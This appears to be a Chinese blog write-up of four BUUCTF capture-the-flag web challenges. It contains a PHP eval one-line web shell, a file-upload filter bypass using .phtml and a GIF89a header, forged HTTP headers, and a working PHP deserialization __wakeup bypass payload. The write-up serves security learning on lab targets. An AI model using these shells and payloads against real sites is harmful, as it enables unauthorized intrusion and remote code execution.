BUUCTF-web极客大挑战

目录

[极客大挑战 2019]Knife

[极客大挑战 2019]Http

[极客大挑战 2019]Upload

​ 

[极客大挑战 2019]PHP


[极客大挑战 2019]Knife


eval($_POST["Syc"]);

这是一个典型的后门程序,用蚁剑链接复制url,密码则是页面中给的密码Syc。

在根目录下找到flag文件,得出flag。

 

[极客大挑战 2019]Http


打开页面后查看源代码,发现一个php文件

打开链接node4.buuoj.cn:25883/Secret.php,给出了提示,说它不是来自https://Sycsecret.buuoj.cn这个页面,所以要对referer进行修改。

 使用burp对这个页面抓包,然后加上

referer: https://Sycsecret.buuoj.cn

send

 

意思就是说需要用Syclover浏览器,也就是需要改消息头的User-Agent参数 ,将Mozilla改为Syclover就行了。

send,又出现了新的提示

 

意思是只能本地访问,所以加上

X-Forwarded-For: 127.0.0.1

 找到flag

[极客大挑战 2019]Upload


 

这道题是文件上传,先上传一个文件试一试,发现说不是图片

 

 所以使用burp抓包,对Content-Type进行修改为imaeg/gif,出现了提示

phtml文件

        在嵌入了php脚本的html中,使用 phtml作为后缀名;完全是php写的,则使用php作为后缀名。这两种文件,web服务器都会用php解释器进行解析。

将后缀修改为phtml

出现了新的提示

 

 

html实体字符

        HTML 中规定了 Character entity references,也就是通常我们说得 html实体字符,一些字符在 HTML 中拥有特殊的含义,比如小于号 (<) 用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符,我们必须在 HTML 源码中插入字符实体。

        字符实体有三部分:一个和号 (&),一个实体名称,或者 # 和一个实体编号,以及一个分号 (;)。要在 HTML 文档中显示小于号,我们需要这样写:&lt; 或者 &#60。

        &#x3C;  代表:<,&#x3F;  代表:?

也就是说上传文件里不能包含:" <? "     

所以用 script标签 绕过“<?”限制:<script language='php'>@eval($_POST['cmd']);</script>

send而后出现提示,就是说这不是图片

 所以,在文件前面加文件头:GIF89a,php会检测其为gif图片。使用getimagesize函数无法判断其图片是无效的。成功上传一句话木马,然后使用蚁剑链接,而上传文件一般都在upload目录下。

所以url:http://1992c45f-fa67-4b72-9b9a-4e2ed19764a5.node4.buuoj.cn:81/upload/1.phtml

密码则是:cmd

在根目录下找到flag

 

[极客大挑战 2019]PHP


 打开页面

 备份引起了我的注意,尝试使用www.zip为后缀,得到一个压缩包。

 里面有以flag为名的文件,但是提交后是错误的

看一下index,发现了一段php代码,是反序列化

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

 而class.php却更加复杂

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

 

分析代码应该是要求我们username=admin,password=100时得到flag
但是wakeup方法会导致username成为guest,当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行,因此需要通过序列化字符串中对象的个数来绕过该方法。

所以

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
echo serialize($a);
#进行url编码,防止%00对应的不可打印字符在复制时丢失
echo urlencode(serialize($a));
#未编码的情况
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//Name后面的2在链接中要改成3
?>

 

 加上后缀

 /index.phpselect=O%3A4%3A%22Name%22%3A3%3A{s%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B}

得出flag


 

 

  • 0
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值